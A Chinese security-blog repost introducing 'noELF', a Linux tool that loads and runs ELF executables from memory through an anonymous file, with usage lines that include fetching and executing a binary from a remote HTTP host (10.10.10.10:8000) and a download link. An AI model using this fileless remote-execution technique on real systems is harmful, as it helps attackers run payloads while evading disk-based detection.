Linux内存加载远程可执行文件

admin 2024年3月31日19:43:58评论5 views字数 357阅读1分11秒阅读模式

介绍

通过syscall创建匿名文件将elf写入后执行,支持远程加载可执行文件达到内存加载的目的。
部分代码参考自ateam ptrace项目,但考虑到内核环境适配以及局限性的问题,没有使用项目中提到采用fork并修改子进程栈中要执行内容的做法。

用法

示例

./noELF {PATH/URL} {argv}
地ELF文件加载
./noElf /bin/ls -al

远程ELF文件加载

python3 -m http.server 8000./noElf http://10.10.10.10:8000/ls -al
Linux内存加载远程可执行文件

下载地址

https://github.com/seventeenman/noELF
侵权请私聊公众号删文
Linux内存加载远程可执行文件

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

原文始发于微信公众号(编码安全研究):Linux内存加载远程可执行文件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月31日19:43:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux内存加载远程可执行文件https://cn-sec.com/archives/2615921.html

发表评论

匿名网友 填写信息